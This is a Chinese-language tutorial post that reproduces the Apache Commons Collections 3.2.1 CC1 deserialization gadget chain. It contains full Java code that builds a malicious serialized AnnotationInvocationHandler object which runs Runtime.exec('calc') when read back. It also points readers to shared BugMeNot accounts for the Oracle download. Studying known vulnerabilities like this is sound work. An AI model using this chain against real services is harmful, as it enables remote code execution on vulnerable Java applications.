About
本文是关于Apache commons collections反序列漏洞利用链的过程复现
Environment
JDK version | jdk-8u65-windows-x64 |
Common collections version | 3.2.1 |
- Java Archive Downloads – Java SE 8
- oracle.com passwords – BugMeNot. (如果下载JDK需要登录,这里是免费的账户)
- jdk8u/jdk8u/jdk: af660750b2f4 (源代码下载)
Maven导入3.2.1版本
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
CC1链在JDK 8u71及之后的版本中被修复
InvokerTransformer#transform
CC1链造成的原因是Transformer的transform方法
可以看到transform方法使用input.getClass()
获取输入对象的类,然后通过cls.getMethod(iMethodName, iParamTypes)
获取类中名为iMethodName
且参数类型为iParamTypes
的方法。
其中iMethodName
等参数在实例化的时候就以实参的形式指定了,通过直接实例化InvokerTransformer,并且让transform的传入对象为Runtime即可成功调用到exec,具体如下代码
import org.apache.commons.collections.functors.InvokerTransformer;
import org.junit.Test;
import java.io.IOException;
public class CC1TEST {
@Test
public void Test() throws IOException {
InvokerTransformer invokerTransformer= new InvokerTransformer(
"exec",
new Class[]{String.class},
new Object[]{"calc"});
invokerTransformer.transform(Runtime.getRuntime());
}
}
TransformedMap#checkSetValue
查找transform的实现,找到TransformedMap里有一个方法,但是前缀是protected,也就无法外部调用
继续向上寻找,发现另一个函数setValue
通过外部传参间接调用了checkSetValue,并且可以显式调用
在TransformedMap的decorate中可以看到是一个静态函数,并且可以传入参数生成一个新的实例。
由于TransformedMap是继承于AbstractInputCheckedMapDecorator,因此可以直接外部调用setvalue函数。Map.Entry.setValue是一个专门用于更新映射中值的方法。
现在的思路就是:通过使用TransformedMap的decorate静态函数生成一个TransformedMap的对象,并且提升为父类Map,因为setValue只在Map类中有,子类中并没有定义。通过这个对象的checkSetValue方法到setValue方法,最后到transform方法(其中的参数是相同的)。
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import org.junit.Test;
import java.util.HashMap;
import java.util.Map;
public class CC1TEST {
@Test
public void Test() {
InvokerTransformer invokerTransformer = new InvokerTransformer(
"exec",
new Class[]{String.class},
new Object[]{"calc"});
HashMap<Object, Object> map = new HashMap<>();
map.put("a", "b");
Map<Object,Object> decorated = TransformedMap.decorate(map, null, invokerTransformer);
decorated.entrySet().forEach(entry -> {
entry.setValue(Runtime.getRuntime()) ;
});
}
}
AnnotationInvocationHandler
这个类实现了Serializable接口,因此可以被序列化
并且在其readObject方法中存在setValue方法的调用
因此这个类可以作为反序列化的起点
但是它不能被显式创建实例,只能使用反射进行创建
Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> declaredConstructor = aClass.getDeclaredConstructor(Class.class, Map.class);
declaredConstructor.setAccessible(true);
Object o = declaredConstructor.newInstance(Target.class, decorated);
回到readObjcet方法,执行到setValue方法之前有两个判断,绕过也非常简单,只需要传入的map中有键值对就行
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
s.defaultReadObject();
// Check to make sure that types have not evolved incompatibly
AnnotationType annotationType = null;
try {
annotationType = AnnotationType.getInstance(type);
} catch(IllegalArgumentException e) {
// Class is no longer an annotation type; time to punch out
throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
}
Map<String, Class<?>> memberTypes = annotationType.memberTypes();
// If there are annotation members without values, that
// situation is handled by the invoke method.
for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name);
if (memberType != null) { // i.e. member still exists
Object value = memberValue.getValue();
if (!(memberType.isInstance(value) ||
value instanceof ExceptionProxy)) {
memberValue.setValue(
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));
}
}
}
}
但是,就算绕过了前面的判断,这里的memberValue的setValue方法参数仍然是不可控的,也就无法设置参数为Runtime
ChainedTransformer
可以看到整个类的transform方法是成链式结构的,上一个经过transform的对象会作为下一轮的参数
因此可以将decorate的参数指定为一个ChainedTransformer,当其触发setValue的时候其中的对象会一层一层的传递,直到Runtime的exec方法被执行
因此代码结构可以如下,由于Runtime是无法被直接实例化的,因此这里链条的第一个是使用的ConstantTransformer,这个类的transform方法输入和输出的一致的,可以直接获取到Runtime的Class。
之后使用InvokerTransformer触发getMethod方法,随后无参数调用invoke获取到getRuntime从而进行实例化得到一个Runtime对象。
最后经过这个实例化对象调用exec方法,进行命令执行
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import org.junit.Test;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;
public class CC1TEST {
@Test
public void Test() throws Exception {
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class}, new Object[]{null,null }),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
});
HashMap<Object, Object> map = new HashMap<>();
map.put("value", "value");
Map<Object,Object> decorated = TransformedMap.decorate(map, null, chainedTransformer);
Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> declaredConstructor = aClass.getDeclaredConstructor(Class.class, Map.class);
declaredConstructor.setAccessible(true);
Object o = declaredConstructor.newInstance(Target.class, decorated);
serialize(o);
deserialize();
}
public void serialize(Object o) throws Exception {
try (ObjectOutputStream oos = new ObjectOutputStream(Files.newOutputStream(Paths.get("ser.ser")))) {
oos.writeObject(o);
}
}
public Object deserialize() throws Exception {
try (ObjectInputStream ois = new ObjectInputStream(Files.newInputStream(Paths.get("ser.ser")))) {
return ois.readObject();
}
}
}
ChainedTransformer里面简单化的思路就是👇
import org.junit.Test;
public class CC1TEST_2 {
@Test
public void test2() throws Exception {
Object getRuntime = Runtime.class.getMethod("getRuntime").invoke(null);
System.out.println(getRuntime instanceof Runtime); //true
getRuntime.getClass().getMethod("exec",String.class).invoke(getRuntime,"calc");
}
}